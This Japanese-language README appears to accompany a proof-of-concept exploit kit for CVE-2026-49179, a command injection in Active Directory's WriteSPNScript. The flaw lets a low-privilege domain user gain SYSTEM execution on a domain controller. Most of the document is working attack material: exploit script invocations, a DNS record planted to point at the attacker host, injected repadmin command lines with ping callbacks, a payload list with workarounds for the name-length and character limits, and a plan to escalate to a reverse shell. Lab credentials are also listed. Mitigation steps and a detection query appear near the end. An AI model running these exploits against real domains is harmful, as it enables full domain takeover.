
CVE-2026-49179の概念実証およびエクスプロイトスクリプト。Active DirectoryのWriteSPNScript関数におけるコマンドインジェクションで、ドメインコントローラー上でのSYSTEM権限でのRCEを可能にします。
| 項目 | 値 |
|---|---|
| CVE ID | CVE-2026-49179 |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N) |
| CWE | CWE-77 (コマンドインジェクション) |
| 影響を受けるコンポーネント | ntdsai.dll — WriteSPNScript 関数 |
| 影響を受けるシステム | Windows Server 2016, 2019, 2022, 2025 (未パッチ) |
| 攻撃ベクトル | 認証済みドメインユーザー (任意) |
| 影響 | ドメインコントローラー上での SYSTEM 権限でのリモートコード実行 |
| 公開日 | 2026年8月 |
ntdsai.dll 内の WriteSPNScript 関数は、Active Directory のメンテナンス操作中に SPN (Service Principal Name) の修復用バッチスクリプトコマンドを生成します。この関数はフォーマット文字列を使用して repadmin.exe /writespn コマンドを構築しますが、Distinguished Name (DN) パラメーターのサニタイズに失敗しており、& 文字 (cmd.exe のコマンド区切り文字) を介したコマンドインジェクションが可能です。
脆弱なフォーマット文字列:
%ws\repadmin.exe /writespn %ws %ws %ws\r\n
パラメーター: SystemDir, WriteOp (ADD/DELETE), DN, SPN_value
DN はマシンアカウントの Common Name (CN) から派生し、これはアカウント作成時に設定されます。マシンアカウントがその名前にシェルメタ文字を含んで作成されると、それらの文字はエスケープされずに生成されたスクリプトに流れ込みます。cmd.exe がスクリプトを実行する際、& がコマンド区切り文字として機能し、攻撃者が制御するコマンドが SYSTEM 権限で実行されます。
Active Directory にはマシンアカウントを管理するための 2 つの主要なプロトコルがあります:
この検証の非対称性が根本原因です:
sAMAccountName 内のシェルメタ文字を許可し、それが CN となり DN に流れ込むWriteSPNScript に渡される未パッチのバイナリのアドレス 0x1802a98a0 において:
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
STRSAFE_LPSTR pszDest; // ANSI output buffer
char local_288[47]; // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
WCHAR local_258[264]; // System directory
GetSystemDirectoryW(local_258, 0x104);
// Calculate buffer size (sum of all string lengths + overhead)
uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;
// Allocate and format — NO ESCAPING of DN or SPN parameters
pszDest = THAlloc_(param_1, 1, uVar4, 1);
StringCchPrintfA(pszDest, uVar4, local_288, local_258);
// Write to script file handle
WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}
StringCchPrintfA は DN を直接出力バッファにフォーマットします。エスケープ、クォート、サニタイズは一切ありません。
CN=A&ping attacker&B のマシンの場合:
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B
cmd.exe はこれを 5 つの別々のステートメントとして解釈します:
インジェクションされたコマンドは 2 回 現れます — 1 回は DN パラメーターから、もう 1 回は SPN パラメーター (これもマシン名を含む) からです。
パッチ適用済みの WriteSPNScript (サイズ: 1477 → 2005 バイト) は 3 つの変更を行っています:
両方 の DN および SPN パラメーターに適用される 2 つの新しいサニタイズ関数:
EscapeForPowerShellSingleQuote() — シングルクォート文字列からの脱出を防ぐために ' をエスケープEscapeForNativeArgvBackslashesBeforeDoubleQuote() — ネイティブ argv 解析のために " の前の \ シーケンスをエスケープ以前のリビジョンには、修正をゲートするフィーチャーフラグ Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled がありました。最終パッチでは、このフラグは 削除 されました — 修正は常に有効であり、無効化できません。
spn_probe3.py を使用して、SAMR がマシンアカウント名で受け入れる文字と、LDAP が SPN 値で受け入れる文字をテストしました:
SAMR Machine Name Character Test (as samwell.tarly):
[+] ACCEPTED ' (single quote) -> INJECT'A$ RID: 1123
[+] ACCEPTED ` (backtick) -> INJECT`A$ RID: 1124
[+] ACCEPTED & (ampersand) -> INJECT&A$ RID: 1125
[+] ACCEPTED $ (dollar sign) -> INJECT$A$ RID: 1126
[+] ACCEPTED ( (left paren) -> INJECT(A$ RID: 1127
[+] ACCEPTED ) (right paren) -> INJECT)A$ RID: 1128
[+] ACCEPTED ! (exclamation) -> INJECT!A$ RID: 1129
[+] ACCEPTED ' ' (space) -> INJECT A$ RID: 1130
LDAP SPN Validation (all 28 shell metacharacters tested):
[-] ALL REJECTED with constraintViolation (DSID-033E109C)
重要な発見: SAMR はテストした 8 つのシェルメタ文字すべてを許可します。LDAP はそれらすべてをブロックします。インジェクションベクトルは SPN 値ではなく、SAMR で作成されたマシン名を経由します。
$ python3 spn_prl_exploit.py 192.168.56.11 \
-d north.sevenkingdoms.local \
-u samwell.tarly -p Heartsbane --payload benign
[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137
samwell.tarly としても作成:
[+] Created C&ping a&D$, RID: 1138
確認済み: 通常のドメインユーザー (PR:L) が名前に & コマンドインジェクションを含むマシンアカウントを作成できる。
通常のドメインユーザーは ADIDNS レコードを追加できます。dnstool.py を使用して、攻撃者を指す短いホスト名を作成しました:
python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
-r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11
DC 上で解決を検証:
*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name: a.north.sevenkingdoms.local
Address: 192.168.14.238
WriteSPNScript が生成する正確な出力をシミュレートし、DC 上で実行:
ファイル書き込みの証明:
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&echo INJECTED > C:\Windows\Temp\proof.txt&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"
*Evil-WinRM* PS> type C:\Windows\Temp\proof.txt
INJECTED
ICMP コールバックの証明:
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&ping -n 3 192.168.14.238&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"
Pinging 192.168.14.238 with 32 bytes of data:
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
攻撃者の tcpdump が ICMP の到着を確認:
02:36:10.815690 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 10
02:36:10.815724 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 10
02:36:11.820112 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 11
02:36:11.820127 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 11
02:36:12.834677 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 12
02:36:12.834693 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 12
ファイル書き込みと ICMP コールバックの両方が、DN を介したコマンドインジェクションを確認しています。
マシンアカウントの sAMAccountName は、末尾の $ の前で約 15 文字に制限されています (NetBIOS 互換性の制約)。これによりペイロードの複雑さが大幅に制限されます。
影響: IP アドレス、長いコマンド、複雑なペイロードをマシン名に直接埋め込むことはできません。
回避策: コールバックには短い DNS ホスト名を使用します (例: 攻撃者 IP に解決される 1 文字の a)。ペイロードは簡潔でなければなりません:
A&ping a&B (11 文字) — ICMP コールバックA&echo X&B (11 文字) — 実行の証明A&calc&B (8 文字) — DC 上での GUI 証明A&whoami&B (11 文字) — コンテキストの確認SAMR はシェルメタ文字 (& ' \ $ ( ) ! space`) を受け入れますが、ファイルパスやネットワークアドレスに必要な文字は拒否します:
影響: IP アドレス、ファイルパス、URL をペイロードに直接使用することはできません。
回避策:
%TEMP%, %SYSTEMROOT%) を使用する — ただし % の受け入れは未確認WriteSPNScript は WriteFile を介してスクリプトファイルを生成します — コマンドを直接実行するわけではありません。生成されたスクリプトは後続のプロセスによって実行される必要があります。この関数は以下の際に呼び出されます:
dcdiag /fix — 管理者が診断/修復ツールを実行FixupSPNsOnComputerObject — 属性変更時の SPN 修正影響: インジェクションは即座にステージングされます (マシン作成) が、実行は DC 上のトリガーイベントに依存します。レプリケーションパートナーがいない単一 DC 環境では、トリガーに管理者の活動 (例: dcdiag /fix の実行) が必要になる場合があります。
本番環境では: マルチ DC 展開では定期的なレプリケーションサイクルがあります。レプリケーション中に発見された SPN の不一致は、競合解決の一環として自動的に WriteSPNScript をトリガーします。
デフォルトの ms-DS-MachineAccountQuota はユーザーあたり 10 です。各インジェクション試行は 1 つのスロットを消費します。名前に特殊文字を含むマシンアカウントは、標準ツールで削除するのが困難です。
影響: ユーザーアカウントあたりの試行回数が制限されます。失敗した試行はクォータを浪費します。
回避策: 各ドメインユーザーは独自のクォータを持ちます。多数のユーザーがいる環境では、攻撃者は複数のアカウントを使用できます。
名前に &, $, (, ) を含んで作成されたマシンアカウントは、特殊文字がコマンド解析を妨害するため、標準の AD 管理ツール (ADUC、PowerShell Remove-ADComputer) では簡単に削除できません。これによりフォレンジックアーティファクトが残ります。
代替の悪用パス — クリーンな名前のマシンを作成し、有効な SPN を設定してから、DN をインジェクションするためにリネームする — がテストされましたが、LDAP の ModifyDN (リネーム) 操作には昇格された権限が必要です:
samwell.tarly: [-] Rename failed: insufficientAccessRights
robb.stark: [+] Rename succeeded (domain admin)
影響: リネーム戦略は PR:L では実行できません。インジェクション文字を含む直接的な SAMR 作成が PR:L のパスです。
&<command>& を含むマシンアカウントを作成WriteSPNScript をトリガーし、エスケープされていない repadmin.exe コマンドを生成Day 1: Attacker (any domain user) runs exploit
- Creates machine "A&ping a&B$" via SAMR
- Adds DNS record "a" pointing to their C2 server
- Injection is staged — attacker waits
Day N: Admin runs dcdiag /fix (routine maintenance)
- WriteSPNScript processes the malicious machine account
- Generates repadmin command with unescaped DN
- cmd.exe executes "ping a" as SYSTEM → confirms callback
Day N: Attacker upgrades payload
- Creates new machine with reverse shell payload
- Waits for next maintenance cycle or replication event
- SYSTEM shell on DC → full domain compromise
セキュリティ更新を適用する — Microsoft の 2026 年 8 月の Patch Tuesday から
マシンアカウントの異常な文字を監査する:
Get-ADComputer -Filter * -Properties sAMAccountName |
Where-Object { $_.sAMAccountName -match '[&\x27`$()! ]' } |
Select-Object Name, sAMAccountName, Created, DistinguishedName
ms-DS-MachineAccountQuota を 0 に設定する — 通常ユーザーがマシンアカウントを作成できないようにする:
Set-ADDomain -Identity "domain.local" -Replace @{"ms-DS-MachineAccountQuota"=0}
イベント ID 4741 (コンピューターアカウントの作成) を監視し、アカウント名の異常な文字を検出する
通常ユーザーが必要としない場合は ADIDNS レコードの作成を制限する
| プロトコル | 文字検証 | シェルメタ文字 |
|---|
| LDAP (SPN 値) | 厳格 — CONSTRAINT_ATT_TYPE が & ; | ' \ $ ( )` を拒否 | ブロック |
| SAMR (マシン名) | 緩い — 基本的なアカウント名フォーマットを検証 | 許可: & ' \ $ ( ) ! space` |
| # | ステートメント | 結果 |
|---|
| 1 | C:\...\repadmin.exe /writespn ADD CN=A | 失敗 (切り詰められた DN) |
| 2 | ping attacker | インジェクション — SYSTEM として実行 |
| 3 | B,CN=Computers,DC=... HOST/A | 失敗 (有効なコマンドではない) |
| 4 | ping attacker | インジェクション — 再び実行 (SPN パラメーターから) |
| 5 | B | 失敗 (有効なコマンドではない) |
| ベース (脆弱) | パッチ適用済み |
|---|
| 関数 | StringCchPrintfA (ANSI) | StringCchPrintfW (Wide/Unicode) |
| クォート | なし | シングルクォートされたパラメーター |
| 出力 | repadmin /writespn ADD DN SPN | repadmin /writespn ADD 'escaped_DN' 'escaped_SPN' |
| ホスト | 役割 | IP | OS |
|---|
| WINTERFELL | ドメインコントローラー | 192.168.56.11 | Windows Server 2019 |
| 攻撃者 | Kali Linux | 192.168.14.238 | Kali 2026 |
| ドメイン | north.sevenkingdoms.local | ||
| 低権限ユーザー | samwell.tarly / Heartsbane | 通常のドメインユーザー | |
| 管理者ユーザー | robb.stark / sexywolfy | ドメイン管理者 |
| ステップ | アクション | 実行者 | 結果 |
|---|
| 1 | SAMR がマシン名の & を受け入れる | samwell.tarly (PR:L) | RID 1125, 1137, 1138 |
| 2 | LDAP が SPN 値の & を拒否する | samwell.tarly | 100% 拒否 |
| 3 | コールバック用の DNS レコード作成 | samwell.tarly (PR:L) | a → 192.168.14.238 |
| 4 | インジェクション CN を持つマシンアカウント | samwell.tarly (PR:L) | A&echo POC&B$, C&ping a&D$ |
| 5 | cmd インジェクションによるファイル書き込み | DC (WriteSPNScript をシミュレート) | proof.txt = "INJECTED" |
| 6 | cmd インジェクションによる ICMP コールバック | DC (WriteSPNScript をシミュレート) | 3 つの ping を受信 |
| 拒否される文字 | ブロックされる用途 |
|---|
. (ピリオド) | IP アドレス (192.168.1.1)、FQDN |
\ (バックスラッシュ) | Windows パス (C:\Windows\...) |
/ (フォワードスラッシュ) | URL パス、Unix パス |
: (コロン) | ドライブ文字 (C:)、ポート番号 |
" (ダブルクォート) | ペイロード内のクォート/エスケープ |
< > | ; , = + * ? | リダイレクト、パイプ、ワイルドカード |
| ファイル | 説明 |
|---|
poc/spn_probe.py | LDAP SPN 値内の 28 のシェルメタ文字すべてをテスト |
poc/spn_probe2.py | Unicode 全角/ホモグリフバイパス + DRSUAPI トランスポートをテスト |
poc/spn_probe3.py | SAMR 対 LDAP 対 DRSUAPI の文字受け入れをテスト |
poc/spn_exploit.py | リネーム戦略による悪用 (作成 → SPN → リネーム → インジェクション) |
poc/spn_prl_exploit.py | PR:L 悪用 (直接 SAMR 作成 + オプションの dNSHostName トリガー) |
nspi_diff_analysis.txt | ntdsai.dll の完全なバイナリ差分 (ベース対パッチ適用済み) |